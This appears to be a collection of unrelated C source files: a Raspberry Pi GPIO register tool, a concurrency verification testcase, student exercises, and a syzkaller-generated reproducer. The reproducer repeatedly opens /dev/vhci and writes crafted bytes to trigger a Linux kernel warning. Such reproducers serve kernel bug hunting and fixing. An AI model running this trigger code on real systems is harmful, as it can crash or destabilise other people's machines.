"PCM_FS" , "SD1_DAT1" , "ARM_TCK" , "SD_CARD_LED" , "SD0_DAT2" , "PWM0_0" , "PCM_DIN" , "SD1_DAT2" , "ARM_TDI" , 0 , "SD0_DAT3" , "PWM0_1" , "PCM_DOUT" , "SD1_DAT3" , "ARM_TMS" , 0 , }; static const char *gpio_pull_names[4] = { "NONE", "DOWN", "UP", "?" }; /* 0 = none, 1 = down, 2 = up */ static const int gpio_default_pullstate_2835[54] = { 2,2,2,2,2,2,2,2,2, /*GPIO0-8 UP*/ 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, /*GPIO9-27 DOWN*/ 0,0, /*GPIO28-29 NONE*/ 1,1,1,1, /*GPIO30-33 DOWN*/ 2,2,2, /*GPIO34-36 UP*/ 1,1,1,1,1,1,1, /*GPIO37-43 DOWN*/ 0,0, /*GPIO44-45 NONE*/ 2,2,2,2,2,2,2,2 /*GPIO46-53 UP*/ }; struct gpio_chip gpio_chip_2835 = { "bcm2835", 0x00200000, 0x1000, 54, 6, "GPIO, DEFAULT PULL, ALT0, ALT1, ALT2, ALT3, ALT4, ALT5", gpio_alt_names_2835, gpio_default_pullstate_2835, bcm2835_get_level, bcm2835_get_fsel, bcm2835_get_pull, bcm2835_set_level, bcm2835_set_fsel, bcm2835_set_pull, bcm2835_next_reg, }; struct gpio_chip gpio_chip_2711 = { "bcm2711", 0x00200000, 0x1000, 54, 6, "GPIO, DEFAULT PULL, ALT0, ALT1, ALT2, ALT3, ALT4, ALT5", gpio_alt_names_2711, gpio_default_pullstate_2835, bcm2835_get_level, bcm2835_get_fsel, bcm2711_get_pull, bcm2835_set_level, bcm2835_set_fsel, bcm2711_set_pull, bcm2711_next_reg, }; struct gpio_chip *chip; //09/28/2021 JP int save_raw(struct gpio_chip *chip, const char *strFileName){ int res = 0; FILE *f = NULL; int i = -1; int new_i = -1; unsigned int val; if(strFileName == NULL || (f = fopen(strFileName, "wb")) == NULL){ fprintf(stderr, "Could not open file.\n"); res = 1; } if(res == 0){ while(1){ new_i = chip->next_reg(i++); if(new_i < 0) break; if(new_i != i){ if((i & ~3) != (new_i & ~3)){ i = new_i & ~3; }else{ i = new_i; } } val = chip->base[i]; fwrite(&val, 4, 1, f); } fclose(f); printf("Done.\n"); } return res; } //09/28/2021 JP int load_raw(struct gpio_chip *chip, const char *strFileName){ int res = 0; FILE *f = NULL; int i = -1; int new_i = -1; unsigned int val; if(strFileName == NULL || (f = fopen(strFileName, "rb")) == NULL){ fprintf(stderr, "Could not open file.\n"); res = 1; } if(res == 0){ while(1){ new_i = chip->next_reg(i++); if(new_i < 0) break; if(new_i != i){ if((i & ~3) != (new_i & ~3)){ i = new_i & ~3; }else{ i = new_i; } } fread(&val, 4, 1, f); chip->base[i] = val; } fclose(f); printf("Done.\n"); } return res; } void print_gpio_alts_info(struct gpio_chip *chip, int gpio) { int alt; printf("%d, %s", gpio, gpio_pull_names[chip->default_pulls[gpio]]); for (alt = 0; alt < 6; alt++) { const char *name = chip->alt_names[gpio * chip->fsel_count + alt]; printf(", %s", name ? name : "-"); } printf("\n"); } struct gpio_chip *get_gpio_chip(void) { struct gpio_chip *chip; const char *revision_file = "/proc/device-tree/system/linux,revision"; uint8_t revision[4] = { 0 }; uint32_t cpu = 0; FILE *fd; if ((fd = fopen(revision_file, "rb")) == NULL) { printf("Can't open '%s'\n", revision_file); } else { if (fread(revision, 1, sizeof(revision), fd) == 4) cpu = (revision[2] >> 4) & 0xf; else printf("Revision data too short\n"); fclose(fd); } switch (cpu) { case 0: /* BCM2835 */ chip = &gpio_chip_2835; chip->reg_base = 0x20000000 + GPIO_BASE_OFFSET; break; case 1: /* BCM2836 */ case 2: /* BCM2837 */ chip = &gpio_chip_2835; chip->reg_base = 0x3f000000 + GPIO_BASE_OFFSET; break; case 3: /* BCM2711 */ chip = &gpio_chip_2711; chip->reg_base = 0xfe000000 + GPIO_BASE_OFFSET; break; default: printf("Unrecognised revision code\n"); exit(1); } return chip; } const char *gpio_fsel_to_namestr(unsigned int gpio, int fsel) { const char *name = NULL; static char alt_str[16]; if (gpio >= chip->gpio_count) return NULL; if (fsel == FUNC_IP) return "INPUT"; else if (fsel == FUNC_OP) return "OUTPUT"; fsel -= FUNC_A0; if (fsel >= 0 && fsel < chip->fsel_count) name = chip->alt_names[gpio * chip->fsel_count + fsel]; if (!name) { sprintf(alt_str, "alt%d", fsel); name = alt_str; } return name; } void print_raw_gpio_regs(struct gpio_chip *chip) { int i = -1; while (1) { int new_i = chip->next_reg(i++); if (new_i < 0) break; if (new_i != i) { /* Change rows if needed */ if ((i & ~3) != (new_i & ~3)) /* Not on the same row */ { if (i & 3) /* This row has been started */ printf("\n"); i = new_i & ~3; } } if ((i & 3) == 0) printf("%02x:", i * 4); if (new_i != i) { /* Insert padding if needed */ printf("%*s", (new_i - i) * 9, ""); i = new_i; } printf(" %08x", chip->base[i]); if ((i & 3) == 3) printf("\n"); } if (i & 3) printf("\n"); } void print_help() { char *name = "raspi-gpio"; /* in case we want to rename */ printf("\n"); printf("WARNING! %s set writes directly to the GPIO control registers\n", name); printf("ignoring whatever else may be using them (such as Linux drivers) -\n"); printf("it is designed as a debug tool, only use it if you know what you\n"); printf("are doing and at your own risk!\n"); printf("\n"); printf("The %s tool is designed to help hack / debug BCM283x GPIO.\n", name); printf("Running %s with the help argument prints this help.\n", name); printf("%s can get and print the state of a GPIO (or all GPIOs)\n", name); printf("and can be used to set the function, pulls and value of a GPIO.\n"); printf("%s must be run as root.\n", name); printf("Use:\n"); printf(" %s [<n>] get [GPIO]\n", name); printf("OR\n"); printf(" %s [<n>] set <GPIO> [options]\n", name); printf("OR\n"); printf(" %s [<n>] funcs [GPIO]\n", name); printf("OR\n"); printf(" %s [<n>] raw\n", name); printf(" %s saveraw [FILE]\n", name); printf(" %s loadraw [FILE]\n", name); printf("\n"); printf("<n> is an option GPIO chip index (default 0)\n"); printf("GPIO is a comma-separated list of pin numbers or ranges (without spaces),\n"); printf("e.g. 4 or 18-21 or 7,9-11\n"); printf("Note that omitting [GPIO] from %s get prints all GPIOs.\n", name); printf("%s funcs will dump all the possible GPIO alt funcions in CSV format\n", name); printf("or if [GPIO] is specified the alternate funcs just for that specific GPIO.\n"); printf("Valid [options] for %s set are:\n", name); printf(" ip set GPIO as input\n"); printf(" op set GPIO as output\n"); printf(" a0-a5 set GPIO to alternate function alt0-alt5\n"); printf(" pu set GPIO in-pad pull up\n"); printf(" pd set GPIO pin-pad pull down\n"); printf(" pn set GPIO pull none (no pull)\n"); printf(" dh set GPIO to drive to high (1) level (only valid if set to be an output)\n"); printf(" dl set GPIO to drive low (0) level (only valid if set to be an output)\n"); printf("Examples:\n"); printf(" %s get Prints state of all GPIOs one per line\n", name); printf(" %s get 20 Prints state of GPIO20\n", name); printf(" %s get 20,21 Prints state of GPIO20 and GPIO21\n", name); printf(" %s set 20 a5 Set GPIO20 to ALT5 function (GPCLK0)\n", name); printf(" %s set 20 pu Enable GPIO20 ~50k in-pad pull up\n", name); printf(" %s set 20 pd Enable GPIO20 ~50k in-pad pull down\n", name); printf(" %s set 20 op Set GPIO20 to be an output\n", name); printf(" %s set 20 dl Set GPIO20 to output low/zero (must already be set as an output)\n", name); printf(" %s set 20 ip pd Set GPIO20 to input with pull down\n", name); printf(" %s set 35 a0 pu Set GPIO35 to ALT0 function (SPI_CE1_N) with pull up\n", name); printf(" %s set 20 op pn dh Set GPIO20 to ouput with no pull and driving high\n", name); } int gpio_get(unsigned int gpio) { const char *name; int level; int fsel; int pull; fsel = chip->get_fsel(chip, gpio); name = gpio_fsel_to_namestr(gpio, fsel); level = chip->get_level(chip, gpio); printf("GPIO %d: level=%d", gpio, level); if (fsel >= FUNC_A0) printf(" alt=%d", fsel - FUNC_A0); printf(" func=%s", name); pull = chip->get_pull(chip, gpio); if (pull != PULL_UNSET) printf(" pull=%s", gpio_pull_names[pull & 3]); printf("\n"); return 0; } int gpio_set(unsigned int gpio, int fsparam, int drive, int pull) { if (fsparam != FUNC_UNSET) chip->set_fsel(chip, gpio, fsparam); if (drive != DRIVE_UNSET) { if (chip->get_fsel(chip, gpio) == FUNC_OP) { chip->set_level(chip, gpio, drive); } else { printf("Can't set pin value, not an output\n"); return 1; } } if (pull != PULL_UNSET) return chip->set_pull(chip, gpio, pull); return 0; } int main(int argc, char *argv[]) { int fd; int ret; /* arg parsing */ int set = 0; int get = 0; int funcs = 0; int raw = 0; int saveraw = 0; int loadraw = 0; const char *strRawFile = NULL; FILE *rawFile = NULL; int pull = PULL_UNSET; int fsparam = FUNC_UNSET; int drive = DRIVE_UNSET; uint32_t gpiomask[2] = { 0, 0 }; /* Enough for 0-53 */ int all_pins = 0; const char *cmd; argv++; argc--; if (!argc) { printf("No arguments given - try \"raspi-gpio help\"\n"); return 0; } cmd = *(argv++); argc--; if (strcmp(cmd, "help") == 0) { print_help(); return 0; } chip = get_gpio_chip(); /* argc 2 or greater, next arg must be set, get or help */ get = strcmp(cmd, "get") == 0; set = strcmp(cmd, "set") == 0; funcs = strcmp(cmd, "funcs") == 0; raw = strcmp(cmd, "raw") == 0; saveraw = strcmp(cmd, "saveraw") == 0; loadraw = strcmp(cmd, "loadraw") == 0; if (!set && !get && !funcs && !raw && !saveraw && !loadraw) { printf("Unknown argument \"%s\" try \"raspi-gpio help\"\n", cmd); return 1; } if ((get || funcs || saveraw || loadraw) && (argc > 1)) { printf("Too many arguments\n"); return 1; } if (!argc && set) { printf("Need GPIO number to set\n"); return 1; } if (argc && !saveraw && !loadraw) /* expect pin number(s) next */ { char *p = *(argv++); argc--; while (p) { int pin, pin2, len; ret = sscanf(p, "%d%n", &pin, &len); if (ret != 1 || pin >= chip->gpio_count) break; p += len; if (*p == '-') { p++; ret = sscanf(p, "%d%n", &pin2, &len); if (ret != 1 || pin2 >= chip->gpio_count) break; if (pin2 < pin) { int tmp = pin2; pin2 = pin; pin = tmp; } p += len; } else { pin2 = pin; } while (pin <= pin2) { gpiomask[pin/32] |= (1 << (pin % 32)); pin++; } if (*p == '\0') { p = NULL; } else { if (*p != ',') break; p++; } } if (p) { printf("Unknown GPIO \"%s\"\n", p); return 1; } } if (set && !argc) { printf("Nothing to set\n"); return 0; } /* parse remaining args */ while (argc) { const char *arg = *(argv++); argc--; if (strcmp(arg, "dh") == 0) drive = DRIVE_HIGH; else if (strcmp(arg, "dl") == 0) drive = DRIVE_LOW; else if (strcmp(arg, "ip") == 0) fsparam = FUNC_IP; else if (strcmp(arg, "op") == 0) fsparam = FUNC_OP; else if (strcmp(arg, "a0") == 0) fsparam = FUNC_A0; else if (strcmp(arg, "a1") == 0) fsparam = FUNC_A1; else if (strcmp(arg, "a2") == 0) fsparam = FUNC_A2; else if (strcmp(arg, "a3") == 0) fsparam = FUNC_A3; else if (strcmp(arg, "a4") == 0) fsparam = FUNC_A4; else if (strcmp(arg, "a5") == 0) fsparam = FUNC_A5; else if (strcmp(arg, "pu") == 0) pull = PULL_UP; else if (strcmp(arg, "pd") == 0) pull = PULL_DOWN; else if (strcmp(arg, "pn") == 0) pull = PULL_NONE; else { if(saveraw || loadraw){ strRawFile = arg; }else{ printf("Unknown argument \"%s\"\n", arg); return 1; } } } if (fsparam >= FUNC_A0 && (fsparam - FUNC_A0) >= chip->fsel_count) { printf("Alt function a%d out of range\n", fsparam - FUNC_A0); return 1; } /* end arg parsing */ all_pins = !(gpiomask[0] | gpiomask[1]); if (funcs) { int pin; printf("GPIO, DEFAULT PULL, ALT0, ALT1, ALT2, ALT3, ALT4, ALT5\n"); for (pin = 0; pin < chip->gpio_count; pin++) { if (all_pins || gpiomask[pin / 32] & (1 << (pin % 32))) print_gpio_alts_info(chip, pin); } return 0; } /* Check for /dev/gpiomem, else we need root access for /dev/mem */ if ((fd = open ("/dev/gpiomem", O_RDWR | O_SYNC | O_CLOEXEC) ) >= 0) { chip->base = (uint32_t *)mmap(0, chip->reg_size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0); } else { if (geteuid()) { printf("Must be root\n"); return 0; } if ((fd = open ("/dev/mem", O_RDWR | O_SYNC | O_CLOEXEC) ) < 0) { printf("Unable to open /dev/mem: %s\n", strerror (errno)); return 1; } chip->base = (uint32_t *)mmap(0, chip->reg_size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, chip->reg_base); } if (chip->base == (uint32_t *)-1) { printf("mmap (GPIO) failed: %s\n", strerror (errno)); return 1; } if (set || get) { int pin; for (pin = 0; pin < chip->gpio_count; pin++) { if (all_pins) { if (pin==0) printf("BANK0 (GPIO 0 to 27):\n"); if (pin==28) printf("BANK1 (GPIO 28 to 45):\n"); if (pin==46) printf("BANK2 (GPIO 46 to 53):\n"); } else if (!(gpiomask[pin / 32] & (1 << (pin % 32)))) { continue; } if (get) { if (gpio_get(pin)) return 1; } else { if (gpio_set(pin, fsparam, drive, pull)) return 1; } } } if(saveraw){ save_raw(chip, strRawFile); }else if(loadraw){ load_raw(chip, strRawFile); }else if(raw){ print_raw_gpio_regs(chip); } return 0; } static int bcm2835_get_level(struct gpio_chip *chip, unsigned int gpio) { if (gpio >= chip->gpio_count) return -1; return (chip->base[GPLEV0 + (gpio / 32)] >> (gpio % 32)) & 1; } static int bcm2835_get_fsel(struct gpio_chip *chip, unsigned int gpio) { /* GPFSEL0-5 with 10 sels per reg, 3 bits per sel (so bits 0:29 used) */ uint32_t reg = GPFSEL0 + (gpio / 10); uint32_t lsb = (gpio % 10) * 3; if (gpio < chip->gpio_count) { switch ((chip->base[reg] >> lsb) & 7) { case 0: return FUNC_IP; case 1: return FUNC_OP; case 2: return FUNC_A5; case 3: return FUNC_A4; case 4: return FUNC_A0; case 5: return FUNC_A1; case 6: return FUNC_A2; case 7: return FUNC_A3; } } return -1; } static int bcm2835_get_pull(struct gpio_chip *chip, unsigned int gpio) { /* This is a write-only mechanism */ return PULL_UNSET; } static int bcm2835_set_level(struct gpio_chip *chip, unsigned int gpio, int level) { if (gpio >= chip->gpio_count) return -1; chip->base[(level ? GPSET0 : GPCLR0) + (gpio / 32)] = (1 << (gpio % 32)); return 0; } static int bcm2835_set_fsel(struct gpio_chip *chip, unsigned int gpio, int fsel) { /* GPFSEL0-5 with 10 sels per reg, 3 bits per sel (so bits 0:29 used) */ uint32_t reg = GPFSEL0 + (gpio / 10); uint32_t lsb = (gpio % 10) * 3; switch (fsel) { case FUNC_IP: fsel = 0; break; case FUNC_OP: fsel = 1; break; case FUNC_A0: fsel = 4; break; case FUNC_A1: fsel = 5; break; case FUNC_A2: fsel = 6; break; case FUNC_A3: fsel = 7; break; case FUNC_A4: fsel = 3; break; case FUNC_A5: fsel = 2; break; default: return -1; } if (gpio < chip->gpio_count) { chip->base[reg] = (chip->base[reg] & ~(0x7 << lsb)) | (fsel << lsb); return 0; } return -1; } static int bcm2835_set_pull(struct gpio_chip *chip, unsigned int gpio, int pull) { int clkreg = GPPUDCLK0 + (gpio / 32); int clkbit = 1 << (gpio % 32); if (gpio >= chip->gpio_count) return -1; if (pull < 0 || pull > 2) return -1; chip->base[GPPUD] = pull; usleep(10); chip->base[clkreg] = clkbit; usleep(10); chip->base[GPPUD] = 0; usleep(10); chip->base[clkreg] = 0; usleep(10); return 0; } static int bcm2835_next_reg(int reg) { if (reg < 0) return 0; else if (reg == GPPUDCLK1) return -1; return reg + 1; } static int bcm2711_get_pull(struct gpio_chip *chip, unsigned int gpio) { int reg = GPPUPPDN0 + (gpio / 16); int lsb = (gpio % 16) * 2; if (gpio >= chip->gpio_count) return -1; switch ((chip->base[reg] >> lsb) & 3) { case 0: return PULL_NONE; case 1: return PULL_UP; case 2: return PULL_DOWN; } return -1; } static int bcm2711_set_pull(struct gpio_chip *chip, unsigned int gpio, int pull) { int reg = GPPUPPDN0 + (gpio / 16); int lsb = (gpio % 16) * 2; if (gpio >= chip->gpio_count) return -1; switch (pull) { case PULL_NONE: pull = 0; break; case PULL_UP: pull = 1; break; case PULL_DOWN: pull = 2; break; default: return -1; } chip->base[reg] = (chip->base[reg] & ~(3 << lsb)) | (pull << lsb); return 0; } static int bcm2711_next_reg(int reg) { /* Skip over non-GPIO registers */ if (reg < 0) return 0; else if (reg == GPPUPPDN3) return -1; else if (reg == GPPUDCLK1) return GPPUPPDN0; return reg + 1; }
the_stack_data/42001.c
extern void __VERIFIER_error() __attribute__ ((__noreturn__)); /* Testcase from Threader's distribution. For details see: http://www.model.in.tum.de/~popeea/research/threader This file is adapted from the example introduced in the paper: Thread-Modular Verification for Shared-Memory Programs by Cormac Flanagan, Stephen Freund, Shaz Qadeer. */ #include "pthread.h" #define assert(e) if (!(e)) ERROR: __VERIFIER_error(); int w=0, r=0, x, y; void __VERIFIER_atomic_take_write_lock() { /* reachable */ /* reachable */ __VERIFIER_assume(w==0 && r==0); w = 1; } void __VERIFIER_atomic_take_read_lock() { /* reachable */ __VERIFIER_assume(w==0); r = r+1; } void __VERIFIER_atomic_release_read_lock() { /* reachable */ r = r-1; } void *writer() { //writer __VERIFIER_atomic_take_write_lock(); x = 3; w = 0; } void *reader() { //reader int l; __VERIFIER_atomic_take_read_lock(); l = x; y = l; /* assert not proved */ assert(y == x); __VERIFIER_atomic_release_read_lock(); } int main() { pthread_t t1, t2, t3, t4; /* reachable */ pthread_create(&t1, 0, writer, 0); pthread_create(&t2, 0, reader, 0); pthread_create(&t3, 0, writer, 0); pthread_create(&t4, 0, reader, 0); pthread_join(t1, 0); pthread_join(t2, 0); pthread_join(t3, 0); pthread_join(t4, 0); return 0; }
the_stack_data/90764964.c
#include <stdio.h> #include <string.h> #include <math.h> #include <stdlib.h> #define DEBUG 0 int LowerBound(int A[],int N,int K){ int low , high , mid ; low = 0 ; high = N ; while(low <= high){ mid = ( low + high ) / 2 ; // finding middle element if(A[mid] >= K && ( mid == 0 || A[mid-1] < K )) // checking conditions for lowerbound return mid ; else if(A[mid] >= K) // answer should be in left part high = mid - 1 ; else // answer should in right part if it exists low = mid + 1 ; } return mid ; // this will execute when there is no element in the given array which >= K } int getEQTPos(int A[], int N, int K) { int pos = -1; if (A[N] >= K) { pos = LowerBound(A, N, K); } return pos; } void quick_sort(int s[], int l, int r) { if (l < r) { int i = l, j = r, x = s[l]; while (i < j) { while(i < j && s[j] >= x) j--; if(i < j) s[i++] = s[j]; while(i < j && s[i] < x) i++; if(i < j) s[j--] = s[i]; } s[i] = x; quick_sort(s, l, i - 1); quick_sort(s, i + 1, r); } } int main() { FILE * fp = stdin; #if DEBUG fp = fopen("input.txt", "r"); #endif int N; fscanf(fp, "%d", &N); int * n = malloc(sizeof(int) * N); for (size_t i = 0; i < N; i++) { fscanf(fp, "%d", &n[i]); } int Q; fscanf(fp, "%d", &Q); long long * q = malloc(sizeof(long long) * Q); for (size_t i = 0; i < Q; i++) { long long tmp; fscanf(fp, "%lld", &tmp); if (0 == i) { q[i] = tmp; } else { q[i] = q[i - 1] + tmp; } } // quick sort quick_sort(n, 0, N - 1); unsigned long long * sums = malloc(sizeof(unsigned long long) * N); for (size_t i = 0; i < N; i++) { if (0 == i) { sums[i] = abs(n[i]); } else { sums[i] = sums[i - 1] + abs(n[i]); } } // find >= 0 pos int egt0_pos = getEQTPos(n, N - 1, 0); for (size_t i = 0; i < Q; i++) { if (0 == q[i]) { printf("%llu\n", sums[N - 1]); } else if (0 < q[i]) { int pos = getEQTPos(n, N - 1, (-1) * q[i]); unsigned long long sum = 0; if (-1 == pos) { sum = sums[N - 1] - q[i] * N; } else { if (0 < pos) { sum += sums[pos - 1] - pos * q[i]; } if (0 <= egt0_pos) { if (0 < egt0_pos) { sum += (sums[N - 1] - sums[egt0_pos - 1]) + (N - egt0_pos) * q[i]; } else { sum += sums[N - 1] + (N - egt0_pos) * q[i]; } } if (0 < egt0_pos) { if (0 < pos) { sum += q[i] * (egt0_pos - pos) - (sums[egt0_pos - 1] - sums[pos - 1]); } else { sum += q[i] * egt0_pos - sums[egt0_pos - 1]; } } else { if (0 < pos) { sum += q[i] * (N - pos) - (sums[N - 1] - sums[pos - 1]); } else { sum += q[i] * N - sums[N - 1]; } } } printf("%llu\n", sum); } else { // 0 > q[i] int pos = getEQTPos(n, N - 1, (-1) * q[i]); unsigned long long sum = 0; if (-1 == egt0_pos) { sum += sums[N - 1] - N * q[i]; } else { if (0 < egt0_pos) { sum += sums[egt0_pos - 1] - egt0_pos * q[i]; } if (0 <= pos) { if (0 < pos) { sum += (sums[N - 1] - sums[pos - 1]) + (N - pos) * q[i]; } else { sum += sums[N - 1] + N * q[i]; } } if (0 > pos) { if (0 < egt0_pos) { sum += (sums[N - 1] - sums[egt0_pos - 1]) * (-1) - (N - egt0_pos) * q[i]; } else { sum += sums[N - 1] * (-1) - N * q[i]; } } else { if (0 < egt0_pos) { sum += (sums[pos - 1] - sums[egt0_pos - 1]) * (-1) - (pos - egt0_pos) * q[i]; } else { sum += sums[pos - 1] * (-1) - pos * q[i]; } } } printf("%llu\n", sum); } } #if DEBUG fclose(fp); #endif free(n); free(q); free(sums); return 0; }
the_stack_data/84189.c
// WARNING in sysfs_remove_group (2) // https://syzkaller.appspot.com/bug?id=b11eaee2d7909b8acdede281da5d470847e3f89f // status:dup // autogenerated by syzkaller (https://github.com/google/syzkaller) #define _GNU_SOURCE #include <dirent.h> #include <endian.h> #include <errno.h> #include <fcntl.h> #include <signal.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/prctl.h> #include <sys/stat.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/wait.h> #include <time.h> #include <unistd.h> unsigned long long procid; static void sleep_ms(uint64_t ms) { usleep(ms * 1000); } static uint64_t current_time_ms(void) { struct timespec ts; if (clock_gettime(CLOCK_MONOTONIC, &ts)) exit(1); return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000; } static void kill_and_wait(int pid, int* status) { kill(-pid, SIGKILL); kill(pid, SIGKILL); int i; for (i = 0; i < 100; i++) { if (waitpid(-1, status, WNOHANG | __WALL) == pid) return; usleep(1000); } DIR* dir = opendir("/sys/fs/fuse/connections"); if (dir) { for (;;) { struct dirent* ent = readdir(dir); if (!ent) break; if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0) continue; char abort[300]; snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort", ent->d_name); int fd = open(abort, O_WRONLY); if (fd == -1) { continue; } if (write(fd, abort, 1) < 0) { } close(fd); } closedir(dir); } else { } while (waitpid(-1, status, __WALL) != pid) { } } #define SYZ_HAVE_SETUP_TEST 1 static void setup_test() { prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0); setpgrp(); } #define SYZ_HAVE_RESET_TEST 1 static void reset_test() { int fd; for (fd = 3; fd < 30; fd++) close(fd); } static void execute_one(void); #define WAIT_FLAGS __WALL static void loop(void) { int iter; for (iter = 0;; iter++) { int pid = fork(); if (pid < 0) exit(1); if (pid == 0) { setup_test(); execute_one(); reset_test(); exit(0); } int status = 0; uint64_t start = current_time_ms(); for (;;) { if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid) break; sleep_ms(1); if (current_time_ms() - start < 5 * 1000) continue; kill_and_wait(pid, &status); break; } } } uint64_t r[1] = {0xffffffffffffffff}; void execute_one(void) { long res = 0; memcpy((void*)0x20000280, "/dev/vhci", 10); res = syscall(__NR_openat, 0xffffffffffffff9c, 0x20000280, 1, 0); if (res != -1) r[0] = res; memcpy((void*)0x200000c0, "\xff\x80", 2); syscall(__NR_write, r[0], 0x200000c0, 2); } int main(void) { syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0); for (procid = 0; procid < 6; procid++) { if (fork() == 0) { loop(); } } sleep(1000000); return 0; }
the_stack_data/107954278.c
/* Copyright (C) 1989, 1991, California Institute of Technology. U.S. Government Sponsorship under NASA Contract NAS7-918 is acknowledged. */ entcpy ( dest, src, numbytes ) char *dest, *src; int numbytes; { while ( numbytes-- ) { *dest++ = *src++; } }
the_stack_data/586380.c
#include <stdio.h> int main() { float first_month, second_month, hourly_wage, minimum_wage, insurance, tax; scanf("%f", &first_month); scanf("%f", &second_month); scanf("%f", &hourly_wage); scanf("%f", &minimum_wage); insurance = minimum_wage * 0.05; tax = (first_month + second_month) * hourly_wage * 0.08; printf("%.1f\n", (first_month + second_month) * hourly_wage - insurance - tax); printf("%.1f\n", insurance); printf("%.1f\n", tax); return 0; }
the_stack_data/106724.c
int sigaction(int signum, void *act, void *oldact) { return 0; }
the_stack_data/31388729.c
/*..................................................................................... Name : Sumit Patidar Roll no : B15237 Purpose : IC250 assignment, question 2 Date : 23.08.2016 .......................................................................................*/ //source code to solve TOWER OF HANOI puzzle using iterative method #include <stdio.h> #include <math.h> #include <stdlib.h> #define odd 1 #define even 0 typedef struct stack { unsigned capacity; int top; int *data; }peg; int push(peg *ptr, int data); int pop(peg *ptr); int isFull(peg *ptr); int isEmpty(peg *ptr); peg* create(int capacity); int display(peg *ptr); int main(){ int disk_quantity; printf("Enter the number of disk : "); scanf("%d", &disk_quantity); peg* ptrA = create(disk_quantity); peg* ptrB = create(disk_quantity); peg* ptrC = create(disk_quantity); // insert disk data into stack for(int i = disk_quantity; i >= 1; i--){ push(ptrA, i); } int number_of_steps = pow(2, disk_quantity) - 1; int odd_even; // check disk_quantity for odd & even if(disk_quantity%2 == 0) odd_even = 0; else odd_even = 1; int disk_data; switch(odd_even){ case 0: // source and destination are interchanged since number of disk are even for(int i = 1; i <= number_of_steps; i++){ if(i%3 == 1){ if(display(ptrB) > display(ptrA)){ disk_data = pop(ptrA); push(ptrB, disk_data); printf("[%d] disk %d moved from peg A to peg B\n", i, disk_data); } else{ disk_data = pop(ptrB); push(ptrA, disk_data); printf("[%d] disk %d moved from peg B to peg A\n", i, disk_data); } } else if(i%3 == 2){ if(display(ptrC) > display(ptrA)){ disk_data = pop(ptrA); push(ptrC, disk_data); printf("[%d] disk %d moved from peg A to peg C\n", i, disk_data); } else{ disk_data = pop(ptrC); push(ptrA, disk_data); printf("[%d] disk %d moved from peg C to peg A\n", i, disk_data); } } else{ if(display(ptrC) > display(ptrB)){ disk_data = pop(ptrB); push(ptrC, disk_data); printf("[%d] disk %d moved from peg B to peg C\n", i, disk_data); } else{ disk_data = pop(ptrC); push(ptrB, disk_data); printf("[%d] disk %d moved from peg C to peg B\n", i, disk_data); } } } break; case 1: for(int i = 1; i <= number_of_steps; i++){ if(i%3 == 1){ if(display(ptrC) > display(ptrA)){ disk_data = pop(ptrA); push(ptrC, disk_data); printf("[%d] disk %d moved from peg A to peg C\n", i, disk_data); } else{ disk_data = pop(ptrC); push(ptrA, disk_data); printf("[%d] disk %d moved from peg C to peg A\n", i, disk_data); } } else if(i%3 == 2){ if(display(ptrB) > display(ptrA)){ disk_data = pop(ptrA); push(ptrB, disk_data); printf("[%d] disk %d moved from peg A to peg B\n", i, disk_data); } else{ disk_data = pop(ptrB); push(ptrA, disk_data); printf("[%d] disk %d moved from peg B to peg A\n", i, disk_data); } } else{ if(display(ptrB) > display(ptrC)){ disk_data = pop(ptrC); push(ptrB, disk_data); printf("[%d] disk %d moved from peg C to peg B\n", i, disk_data); } else{ disk_data = pop(ptrB); push(ptrC, disk_data); printf("[%d] disk %d moved from peg B to peg C\n", i, disk_data); } } } } printf("\nTotal number of moves are %d\n", number_of_steps); return 0; } int push(peg *ptr, int data){ if(ptr->top != (ptr->capacity - 1)){ (ptr->top)++; ptr->data[ptr->top] = data; return 0; } else return -5; // negative integer for empty stack } int pop(peg *ptr){ int data; data = ptr->data[ptr->top]; (ptr->top)--; return data; } peg* create(int capacity){ peg* ptr = (peg *)malloc(sizeof(peg)); ptr->capacity = capacity; ptr->top = -1; ptr->data = (int* )malloc(capacity * sizeof(int)); // allocating space for data return ptr; } int display(peg *ptr){ if(ptr->top == -1)//stack is empty return (ptr->capacity) + 1; else return ptr->data[ptr->top]; }
the_stack_data/121062.c
#include<stdio.h> #include<stdlib.h> struct node { int info; struct node *next; }; struct node* GetNode() { struct node *p; p=(struct node *)malloc(sizeof(struct node)); return p; } void insbeg(struct node **list,int x) { struct node *temp; temp = GetNode(); temp->info=x; temp->next=*list; *list=temp; } void insend(struct node **list,int x) { struct node *p,*r; if(*list!=NULL) { p=*list; while(p->next!=NULL) p=p->next; r=GetNode(); r->info=x; r->next=NULL; p->next=r; } else insbeg(list,x); } void insaft(struct node **list,int y,int x) { struct node *p; struct node *q; if(*list!=NULL) { q=*list; while(q->info!=y) q=q->next; p=GetNode(); p->info=x; p->next=q->next; q->next=p; } else printf("Void Insertion"); } int delbeg(struct node **list) { struct node *p; int x; if(*list!=NULL) { p=*list; *list=p->next; x=p->info; free(p); return x; } else printf("void deletion"); } int delend(struct node **list) { struct node *p; struct node *q; q=NULL; p=*list; int x; if(*list==NULL) printf("void deletion"); else { while(p->next!=NULL) { q=p; p=p->next; } if(q==NULL) { delbeg(list); } else { q->next=NULL; x=p->info; free(p); return x; } } } int delaft(struct node **list,int y) { struct node *p; struct node *q; if(*list!=NULL&&(*list)->next!=NULL) { q=*list; while(q->info!=y) { q=q->next; } if(q->next!=NULL) { p=q->next; int x=p->info; q->next=NULL; free(p); return x; } else printf("void deletion"); } else printf("void deletion"); } void count(struct node **list) { struct node *temp; temp=*list; int count = 0; while(temp!=NULL) { temp=temp->next; count++; } printf("Total no. of nodes is %d",count); } void traverse(struct node **list) { struct node *t; t=*list; while(t!=NULL) { printf("%d\t",t->info); t=t->next; } printf("\n"); } void main() { struct node *START; START = NULL; int x; insbeg(&START,100); insbeg(&START,200); insend(&START,300); insaft(&START,200,400); traverse(&START); x=delbeg(&START); x=delend(&START); x=delaft(&START,400); insbeg(&START,700); 